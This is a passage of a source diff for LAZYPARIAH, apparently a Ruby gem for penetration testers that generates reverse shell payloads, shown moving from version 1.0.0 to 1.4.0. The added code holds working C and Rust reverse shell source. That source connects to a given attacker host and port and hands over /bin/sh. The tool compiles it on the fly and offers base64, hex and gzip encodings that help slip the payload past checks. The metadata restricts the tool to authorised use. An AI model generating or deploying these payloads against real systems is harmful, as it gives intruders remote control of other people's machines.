+ print_output(s: java_payload_b64, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
370
+ elsif hex_payload
371
+ # Hex-encoded java_class payload.
372
+ java_payload_hex = java_payload.unpack("H*")[0]
373
+ print_output(s: java_payload_hex, new_line: !arguments[:"no-new-line"])
374
+ elsif gzip_payload
375
+ # Zlib-compressed java_class payload.
376
+ sio = StringIO.new()
377
+ sio.binmode()
378
+ gz = Zlib::GzipWriter.new(sio)
379
+ gz.write(java_payload)
380
+ gz.close()
381
+ java_payload_gzip = sio.string
382
+ print_output(s: java_payload_gzip, new_line: false)
383
+ elsif gzip_b64_payload
384
+ # Zlib-compressed and base-64-encoded java_class payload.
251
385
  sio = StringIO.new()
252
386
  sio.binmode()
253
387
  gz = Zlib::GzipWriter.new(sio)
@@ -255,12 +389,26 @@ begin
255
389
  gz.close()
256
390
  java_payload_gzip = sio.string
257
391
  java_payload_gzip_b64 = Base64.strict_encode64(java_payload_gzip)
258
- print_output(java_payload_gzip_b64, url_encode=url_encode, new_line=!arguments[:"no-new-line"])
392
+ print_output(s: java_payload_gzip_b64, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
393
+ elsif gzip_hex_payload
394
+ # Zlib-compressed and hex-encoded java_class payload.
395
+ sio = StringIO.new()
396
+ sio.binmode()
397
+ gz = Zlib::GzipWriter.new(sio)
398
+ gz.write(java_payload)
399
+ gz.close()
400
+ java_payload_gzip = sio.string
401
+ java_payload_gzip_hex = java_payload_gzip.unpack("H*")[0]
402
+ print_output(s: java_payload_gzip_hex, new_line: !arguments[:"no-new-line"])
403
+ else
404
+ # Standard java_class payload.
405
+ print_output(s: java_payload, new_line: false)
259
406
  end
260
407
  end
261
408
 
262
409
  system("rm -r #{temp_dir}")
263
- when "c_binary", "c_binary_gzip", "c_binary_b64", "c_binary_gzip_b64", "c_binary_hex", "c_binary_gzip_hex"
410
+ when "c_binary"
411
+ # C binary reverse shells (compiled on the fly).
264
412
  code = "#include <stdio.h>\n#include <sys/socket.h>\n#include <sys/types.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\nint main(void){int port = #{ARGV[2]};struct sockaddr_in revsockaddr;int sockt = socket(AF_INET, SOCK_STREAM, 0);revsockaddr.sin_family = AF_INET;revsockaddr.sin_port = htons(port);revsockaddr.sin_addr.s_addr = inet_addr(\"#{ARGV[1]}\");connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr));dup2(sockt, 0);dup2(sockt, 1);dup2(sockt, 2);char * const argv[] = {\"/bin/sh\", NULL};execve(\"/bin/sh\", argv, NULL);\nreturn 0;}"
265
413
 
266
414
  temp_dir = IO.popen("mktemp -dt lazypariah_XXXXXXXX").read().chomp()
@@ -270,24 +418,25 @@ begin
270
418
 
271
419
  File.open(temp_dir+"/rs", "r") do |f|
272
420
  binary_payload = f.read()
273
- case ARGV[0]
274
- when "c_binary"
275
- print_output(binary_payload, new_line=false)
276
- when "c_binary_b64"
421
+ if b64_payload
422
+ # Base-64-encoded c_binary payload.
277
423
  binary_payload_b64 = Base64.strict_encode64(binary_payload)
278
- print_output(binary_payload_b64, url_encode=url_encode, new_line=!arguments[:"no-new-line"])
279
- when "c_binary_hex"
424
+ print_output(s: binary_payload_b64, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
425
+ elsif hex_payload
426
+ # Hex-encoded c_binary payload.
280
427
  binary_payload_hex = binary_payload.unpack("H*")[0]
281
- print_output(binary_payload_hex, new_line=!arguments[:"no-new-line"])
282
- when "c_binary_gzip"
428
+ print_output(s: binary_payload_hex, new_line: !arguments[:"no-new-line"])
429
+ elsif gzip_payload
430
+ # Zlib-compressed c_binary payload.
283
431
  sio = StringIO.new()
284
432
  sio.binmode()
285
433
  gz = Zlib::GzipWriter.new(sio)
286
434
  gz.write(binary_payload)
287
435
  gz.close()
288
436
  binary_payload_gzip = sio.string
289
- print_output(binary_payload_gzip, new_line=false)
290
- when "c_binary_gzip_b64"
437
+ print_output(s: binary_payload_gzip, new_line: false)
438
+ elsif gzip_b64_payload
439
+ # Zlib-compressed and base-64-encoded c_binary payload.
291
440
  sio = StringIO.new()
292
441
  sio.binmode()
293
442
  gz = Zlib::GzipWriter.new(sio)
@@ -295,16 +444,75 @@ begin
295
444
  gz.close()
296
445
  binary_payload_gzip = sio.string
297
446
  binary_payload_gzip_b64 = Base64.strict_encode64(binary_payload_gzip)
298
- print_output(binary_payload_gzip_b64, url_encode=url_encode, new_line=!arguments[:"no-new-line"])
299
- when "c_binary_gzip_hex"
447
+ print_output(s: binary_payload_gzip_b64, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
448
+ elsif gzip_hex_payload
449
+ # Zlib-compressed and hex-encoded c_binary payload.
300
450
  sio = StringIO.new()
301
451
  sio.binmode()
302
452
  gz = Zlib::GzipWriter.new(sio)
303
- gz.write(binary_payload, new_line=!arguments[:"no-new-line"])
453
+ gz.write(binary_payload)
454
+ gz.close()
455
+ binary_payload_gzip = sio.string
456
+ binary_payload_gzip_hex = binary_payload_gzip.unpack("H*")[0]
457
+ print_output(s: binary_payload_gzip_hex, new_line: !arguments[:"no-new-line"])
458
+ else
459
+ # Standard c_binary payload.
460
+ print_output(s: binary_payload, new_line: false)
461
+ end
462
+ end
463
+
464
+ system("rm -r #{temp_dir}")
465
+ when "rust_binary"
466
+ # Rust binary reverse shells (compiled on the fly).
467
+ code = "use std::net::TcpStream;use std::os::unix::io::{AsRawFd, FromRawFd};use std::process::{Command, Stdio};fn main() {let lhost: &str = \"#{ARGV[1]}\";let lport: &str = \"#{ARGV[2]}\";let tcp_stream = TcpStream::connect(format!(\"{}:{}\", lhost, lport)).unwrap();let fd = tcp_stream.as_raw_fd();Command::new(\"/bin/sh\").arg(\"-i\").stdin(unsafe {Stdio::from_raw_fd(fd)}).stdout(unsafe {Stdio::from_raw_fd(fd)}).stderr(unsafe {Stdio::from_raw_fd(fd)}).spawn().unwrap().wait().unwrap();}"
468
+
469
+ temp_dir = IO.popen("mktemp -dt lazypariah_XXXXXXXX").read().chomp()
470
+ temp_file = temp_dir+"/rs.rs"
471
+
472
+ system("echo '#{code}' > #{temp_file}; rustc #{temp_file} -o #{temp_dir+"/rs"};")
473
+
474
+ File.open(temp_dir+"/rs", "r") do |f|
475
+ binary_payload = f.read()
476
+ if b64_payload
477
+ # Base-64-encoded rust_binary payload.
478
+ binary_payload_b64 = Base64.strict_encode64(binary_payload)
479
+ print_output(s: binary_payload_b64, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
480
+ elsif hex_payload
481
+ # Hex-encoded rust_binary payload.
482
+ binary_payload_hex = binary_payload.unpack("H*")[0]
483
+ print_output(s: binary_payload_hex, new_line: !arguments[:"no-new-line"])
484
+ elsif gzip_payload
485
+ # Zlib-compressed rust_binary payload.
486
+ sio = StringIO.new()
487
+ sio.binmode()
488
+ gz = Zlib::GzipWriter.new(sio)
489
+ gz.write(binary_payload)
490
+ gz.close()
491
+ binary_payload_gzip = sio.string
492
+ print_output(s: binary_payload_gzip, new_line: false)
493
+ elsif gzip_b64_payload
494
+ # Zlib-compressed and base-64-encoded rust_binary payload.
495
+ sio = StringIO.new()
496
+ sio.binmode()
497
+ gz = Zlib::GzipWriter.new(sio)
498
+ gz.write(binary_payload)
499
+ gz.close()
500
+ binary_payload_gzip = sio.string
501
+ binary_payload_gzip_b64 = Base64.strict_encode64(binary_payload_gzip)
502
+ print_output(s: binary_payload_gzip_b64, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
503
+ elsif gzip_hex_payload
504
+ # Zlib-compressed and hex-encoded rust_binary payload.
505
+ sio = StringIO.new()
506
+ sio.binmode()
507
+ gz = Zlib::GzipWriter.new(sio)
508
+ gz.write(binary_payload)
304
509
  gz.close()
305
510
  binary_payload_gzip = sio.string
306
511
  binary_payload_gzip_hex = binary_payload_gzip.unpack("H*")[0]
307
- print_output(binary_payload_gzip_hex)
512
+ print_output(s: binary_payload_gzip_hex, new_line: !arguments[:"no-new-line"])
513
+ else
514
+ # Standard rust_binary payload.
515
+ print_output(s: binary_payload, new_line: false)
308
516
  end
309
517
  end
310
518
 
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: lazypariah
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.0.0
4
+ version: 1.4.0
5
5
  platform: ruby
6
6
  authors:
7
7
  - Peter Funnell
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2021-03-08 00:00:00.000000000 Z
11
+ date: 2021-03-27 00:00:00.000000000 Z
12
12
  dependencies: []
13
13
  description: LAZYPARIAH is a simple tool for generating a range of reverse shell payloads
14
14
  on the fly. It is intended to be used only in authorised circumstances by qualified
@@ -42,8 +42,8 @@ required_rubygems_version: !ruby/object:Gem::Requirement
42
42
  - !ruby/object:Gem::Version
43
43
  version: '0'
44
44
  requirements:
45
- - A GNU/Linux or BSD operating system. Optional requirements are GCC (for C payloads)
46
- and OpenJDK (for Java payloads).
45
+ - A GNU/Linux or BSD operating system. Optional requirements are GCC (for C payloads),
46
+ OpenJDK (for Java payloads) and Rust (for Rust payloads).
47
47
  rubygems_version: 3.2.5
48
48
  signing_key:
49
49
  specification_version: 4